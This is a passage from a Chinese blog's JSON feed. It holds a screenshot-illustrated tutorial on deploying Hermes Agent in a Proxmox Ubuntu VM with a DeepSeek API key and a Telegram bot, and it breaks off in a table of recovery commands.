{
    "version": "https://jsonfeed.org/version/1",
    "title": "云泽の小屋",
    "description": "",
    "home_page_url": "https://old.zeyun.org",
    "feed_url": "https://old.zeyun.org/feed.json",
    "user_comment": "",
    "icon": "https://old.zeyun.org/media/website/1024px-BanG_Dream_Logo-10th.webp",
    "author": {
        "name": "云泽"
    },
    "items": [
        {
            "id": "https://old.zeyun.org/hermes_global.html",
            "url": "https://old.zeyun.org/hermes_global.html",
            "title": "使用 PVE 内网部署 Hermes Agent",
            "summary": "前言： 首先需要注意的是，本教程适用于具有科学上网环境的用户进行使用，如果您没有科学上网的环境，请点击此链接，进行离线安装教程：点我前往离线安装篇 本篇教程会从零基础的 Hermes 安装部署，再到与&hellip;",
            "content_html": "<h4>前言：</h4>\n<p>首先需要注意的是，本教程适用于具有科学上网环境的用户进行使用，如果您没有科学上网的环境，请点击此链接，进行离线安装教程：<a href=\"#\" target=\"_blank\" rel=\"noopener noreferrer\">点我前往离线安装篇</a></p>\n<p><strong>本篇教程会从零基础的 Hermes 安装部署，再到与 Telegram Bot 对接</strong></p>\n<h5 class=\"align-left\">搭建环境推荐：</h5>\n<ul style=\"list-style-type: square;\">\n<li>一台可以做到长期不关机的电脑（如果宿主机断了，你的Ai对话也就断了）</li>\n<li>需要你有一个 Telegram 账户（以便于开通Telegram Bot）</li>\n<li>安装Hermes的电脑的系统需要为Linux（无需图形化界面）</li>\n<li>Linux系统可以科学上网（需要拉取 Hermes 相关包）</li>\n</ul>\n<h5 class=\"align-center\">本教程的示例配置如下</h5>\n<ul style=\"list-style-type: square;\">\n<li>使用 Proxmox Virtual Environment 9.1.6</li>\n<li>Hermes 所占用资源分配为：CPU R7 4750U，2core，4GB RAM 40GB ROM</li>\n<li>系统为 Ubuntu 24.04.4-live-server-amd64</li>\n</ul>\n<h5 class=\"align-center\">我的相关配置思路如下</h5>\n<ul style=\"list-style-type: square;\">\n<li>科学上网配置，我这里使用的是 ImmortalWrt ，作为软路由整个 PVE 网络的出口，管辖所有的虚拟机（其中包括 Hermes 的宿主机）</li>\n<li>网段我选择的是 ImmortalWrt 作为接入家庭网络的旁路由，具有固定的家庭网络同网段IP（主路由下发的IP 192.168.31.11）Hermes 则是使用的是由 ImmortalWrt 划分出来的新子网（10.10.10.0网段）</li>\n<li><a href=\"https://old.zeyun.org/use_wireguard_home_to_home.html\" target=\"_blank\" rel=\"noopener noreferrer\">点我跳转关于 ImmortalWrt+WireGuard 跨网段配置部分</a></li>\n<li><a href=\"https://old.zeyun.org/security_enhancement_of-cloud_servers.html\">点我跳转 Ubuntu server的安装部分</a></li>\n</ul>\n<p><strong>这里我直接跳过科学上网配置以及虚拟机安装的相关部分，默认你已经具备了远程ssh连接上机器这台Linux，并且这台机器具备科学上网的能力</strong></p>\n<p class=\"align-center\"><strong>（关于Ubuntu系统安装配置部分，可跳转我的博客相关文章）</strong></p>\n<h4 class=\"align-center\">第一部分：拉取Hermes-Agent官方脚本</h4>\n<p>stp1：更新包管理器</p>\n<pre class=\"language-bash line-numbers\"><code>sudo apt update</code></pre>\n<p>stp2：拉取安装脚本</p>\n<pre class=\"language-bash line-numbers\"><code>curl -fsSLO https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh</code></pre>\n<p>stp3：查看脚本</p>\n<pre class=\"language-bash line-numbers\"><code>less install.sh</code></pre>\n<p>如果显示以下内容即为成功拉取脚本</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-053210.png\" alt=\"\" width=\"2450\" height=\"1367\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053210-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053210-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053210-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053210-xl.webp 1024w\"></figure>\n<p>stp4：按下键盘的<code>q</code>，退出查看</p>\n<p>执行以下命令，进行安装</p>\n<pre class=\"language-bash line-numbers\"><code>bash install.sh</code></pre>\n<p>会自动拉取一长串脚本里的内容</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-053446.png\" alt=\"\" width=\"2449\" height=\"782\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053446-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053446-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053446-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053446-xl.webp 1024w\"></figure>\n<p>耐心等待进度条跑完</p>\n<h4 class=\"align-center\">第二部分：开始按照脚本部署Hermes</h4>\n<h6 class=\"align-center\">如果中途出现意外打断脚本的情况（例如不小心或者出现卡死，按下了ctrl+c）可查看本部分的末尾，自行恢复</h6>\n<p>stp1：这里一步骤输入y，安装<strong><span class=\"_animating_6ta1u_10\" data-newtext-seq=\"4\">Playwright</span></strong><span class=\"_animating_6ta1u_10\" data-newtext-seq=\"4\">（一个浏览器自动</span><span class=\"_animating_6ta1u_10\" data-newtext-seq=\"30\">化工具库），用来给 Hermes </span><span class=\"_animating_6ta1u_10\" data-newtext-seq=\"47\">的\"浏览器工具\"（browser tools）功能提供支持</span></p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-053724.png\" alt=\"\" width=\"1072\" height=\"1000\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053724-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053724-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053724-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053724-xl.webp 1024w\"></figure>\n<p>stp2：按向下键，选择<code>Full setup</code>选项</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-053853.png\" alt=\"\" width=\"1537\" height=\"219\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053853-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053853-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053853-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-053853-xl.webp 1024w\"></figure>\n<p>stp3：按需选择对应模型</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-054209.png\" alt=\"\" width=\"1562\" height=\"1245\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054209-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054209-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054209-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054209-xl.webp 1024w\"></figure>\n<p>这里我选择DeepSeek作为演示（DeepSeek API：<a href=\"https://platform.deepseek.com/\" target=\"_blank\" rel=\"noopener noreferrer\">点我前往官方购买</a>）</p>\n<p><code>*建议</code>：第一次买的话，不要买多，10块钱的就可以了</p>\n<p>stp4：填入你的API KEY，并再次按下回车</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-054403.png\" alt=\"\" width=\"2440\" height=\"1133\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054403-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054403-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054403-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054403-xl.webp 1024w\"></figure>\n<p>stp5：模型选择部分，这里我选择v4-flash（v4-pro太烧token，选择flash我认为完全够用）</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-054640.png\" alt=\"\" width=\"919\" height=\"291\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054640-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054640-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054640-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054640-xl.webp 1024w\"></figure>\n<p>stp6：除非你有特殊需求，否则这里直接选择最后一个即可</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-054814.png\" alt=\"\" width=\"1032\" height=\"318\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054814-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054814-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054814-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-054814-xl.webp 1024w\"></figure>\n<p>stp7：对接部分，这里选择Telegram，并按下空格，再次回车即可</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-055022.png\" alt=\"\" width=\"1015\" height=\"910\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-055022-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-055022-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-055022-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-055022-xl.webp 1024w\"></figure>\n<p>stp8：这里我们选择2，使用官方的Bot Father来进行对接</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-055239.png\" alt=\"\" width=\"1057\" height=\"359\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-055239-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-055239-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-055239-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-055239-xl.webp 1024w\"></figure>\n<p>stp9：打开你的网页版 Telegram（手机端也是同理）</p>\n<p>搜索@botfather（注意是下图的这个，后面有一个紫色小勾的，不是其他的）</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/73/botfather.png\" alt=\"\" width=\"344\" height=\"513\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/73/responsive/botfather-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/botfather-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/botfather-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/botfather-xl.webp 1024w\"></figure>\n<p>stp10：获取 Token API &amp; User id</p>\n<p>打开这个对话后，依次输入</p>\n<pre class=\"language-bash line-numbers\"><code>/start</code></pre>\n<p>创建新机器人</p>\n<pre class=\"language-bash line-numbers\"><code>/newbot</code></pre>\n<p>他会让你给你的机器人取一个独一无二的名字</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-055906.png\" alt=\"\" width=\"1370\" height=\"195\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-055906-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-055906-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-055906-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-055906-xl.webp 1024w\"></figure>\n<p>你的名称格式必须要以<code>_bot</code>结尾</p>\n<p>例如我这里取名是</p>\n<pre class=\"language-bash line-numbers\"><code>fsdertest_bot\n你的名字+_bot</code></pre>\n<p>随后你会看到独属于你的机器人发给你的密钥（注意，千万不要泄露！！！）</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/73/Mi-Yao-Bu-Fen.png\" alt=\"\" width=\"1329\" height=\"672\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/73/responsive/Mi-Yao-Bu-Fen-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Mi-Yao-Bu-Fen-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Mi-Yao-Bu-Fen-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Mi-Yao-Bu-Fen-xl.webp 1024w\"></figure>\n<p>把他复制粘贴给之前的终端里，按下回车，他会让你输入你的 User ID</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-060754.png\" alt=\"\" width=\"1084\" height=\"663\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-060754-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-060754-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-060754-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-060754-xl.webp 1024w\"></figure>\n<p>你需要继续搜索这个叫做<code>@userinfobot</code></p>\n<p>注意，这里要选择前面有这个白色皇冠认证的</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/73/useridbot.png\" alt=\"\" width=\"358\" height=\"547\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/73/responsive/useridbot-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/useridbot-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/useridbot-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/useridbot-xl.webp 1024w\"></figure>\n<p>随后向他发送</p>\n<pre class=\"language-bash line-numbers\"><code>/start</code></pre>\n<p>你就会看到你的ID，复制并粘贴到这之前的终端里</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/73/userid.png\" alt=\"\" width=\"1357\" height=\"563\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/73/responsive/userid-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/userid-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/userid-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/userid-xl.webp 1024w\"></figure>\n<p>stp11：选择bot的接收频道</p>\n<ul>\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\">如果你<strong>只想通过 Telegram 私聊</strong>跟 Hermes 交互，接收所有通知 → 输入 <code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">Y</code></li>\n<li class=\"font-claude-response-body whitespace-normal break-words pl-2\">如果你以后打算让 Hermes 把消息发到某个<strong>群组或频道</strong>而不是私聊 → 输入 <code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">n</code>，然后系统会让你手动填别的频道/群组 ID</li>\n<li><strong>把 Hermes 的\"网关\"（gateway）注册成 systemd 服务</strong>，也就是让它常驻后台运行，开机自启</li>\n</ul>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-061504.png\" alt=\"\" width=\"1471\" height=\"379\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-061504-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-061504-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-061504-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-061504-xl.webp 1024w\"></figure>\n<p>默认的话和我一样都输入<code>Y</code>，即可</p>\n<p>stp12：设置网关为系统服务</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-061903.png\" alt=\"\" width=\"1419\" height=\"179\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-061903-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-061903-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-061903-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-061903-xl.webp 1024w\"></figure>\n<p>如果你想自己管理他的启动，那么就选择第二个跳过</p>\n<p>stp13：是否现在启动</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-062135.png\" alt=\"\" width=\"905\" height=\"298\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-062135-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-062135-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-062135-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-062135-xl.webp 1024w\"></figure>\n<p>这里直接输入Y（或者默认回车），即可</p>\n<p>stp14：根据自己的需求，进行对应的功能性质选择<br>我的选择如下，仅供参考</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-062453.png\" alt=\"\" width=\"1468\" height=\"819\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-062453-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-062453-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-062453-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-062453-xl.webp 1024w\"></figure>\n<p>stp15：选择内置浏览器</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-062925.png\" alt=\"\" width=\"2355\" height=\"318\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-062925-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-062925-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-062925-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-062925-xl.webp 1024w\"></figure>\n<p>直接默认免费的即可（如果你有对应的API，也可使用其他的）</p>\n<p>下一步直接回车即可</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-063049.png\" alt=\"\" width=\"961\" height=\"193\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063049-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063049-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063049-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063049-xl.webp 1024w\"></figure>\n<p>stp16：选择搜索引擎</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-063251.png\" alt=\"\" width=\"2206\" height=\"437\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063251-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063251-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063251-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063251-xl.webp 1024w\"></figure>\n<p>选择和我上图一样的，免费的即可</p>\n<p>stp17：选择 Telegram 工具</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-063434.png\" alt=\"\" width=\"1475\" height=\"825\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063434-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063434-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063434-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063434-xl.webp 1024w\"></figure>\n<p>我的建议是取消勾选画图和图像识别（如果你有API，那可以使用）</p>\n<p>stp18：再次选择浏览器提供商</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-063709.png\" alt=\"\" width=\"2335\" height=\"330\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063709-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063709-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063709-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063709-xl.webp 1024w\"></figure>\n<p>这里将会显示<code>[active]</code>激活状态</p>\n<p>stp19：语言转文字服务提供商</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-063901.png\" alt=\"\" width=\"2046\" height=\"450\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063901-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063901-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063901-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-063901-xl.webp 1024w\"></figure>\n<p>这里直接默认免费的即可</p>\n<p>stp20：再次确认搜索引擎</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-064020.png\" alt=\"\" width=\"2383\" height=\"450\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064020-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064020-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064020-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064020-xl.webp 1024w\"></figure>\n<p>这里将会显示<code>[active]</code>激活状态</p>\n<h4 class=\"align-center\">第三部分：最终确认配置</h4>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-064125.png\" alt=\"\" width=\"1153\" height=\"1315\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064125-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064125-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064125-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064125-xl.webp 1024w\"></figure>\n<p>这会自动把网关配置为我们在最开始提到的后台服务（如 Systemd 用户服务），让它能够一直在后台稳定守候、处理消息，即使你关掉终端也不会断线</p>\n<p class=\"align-center\"><code>*温馨提示</code>：如果Ctrl+C 打断了配置怎么办</p>\n<p>或者后续脚本遇到了任何意外所导致的退出，那么请你先输入以下的命令</p>\n<pre class=\"language-bash line-numbers\"><code>source ~/.bashrc</code></pre>\n<p class=\"font-claude-response-body break-words whitespace-normal\"><strong>可以再次按照当前进度，输入对应的恢复方式</strong>：</p>\n<div class=\"overflow-x-auto w-full px-2 mb-6\">\n<table class=\"min-w-full border-collapse text-sm leading-[1.7] whitespace-normal\">\n<thead class=\"text-left\">\n<tr>\n<th class=\"text-text-100 border-b-0.5 border-[hsl(var(--border-300)/0.6)] py-2 pr-4 align-top font-bold\" scope=\"col\">命令</th>\n<th class=\"text-text-100 border-b-0.5 border-[hsl(var(--border-300)/0.6)] py-2 pr-4 align-top font-bold\" scope=\"col\">只重配这一部分</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td class=\"border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top\"><code class=\"bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">hermes setup</code></td>\n<td class=\"border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top\">完整向导（全部重来）</td>\n</tr>\n<tr>\n<td class=\"border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top\"><code class=\"bg-text-200/5 border 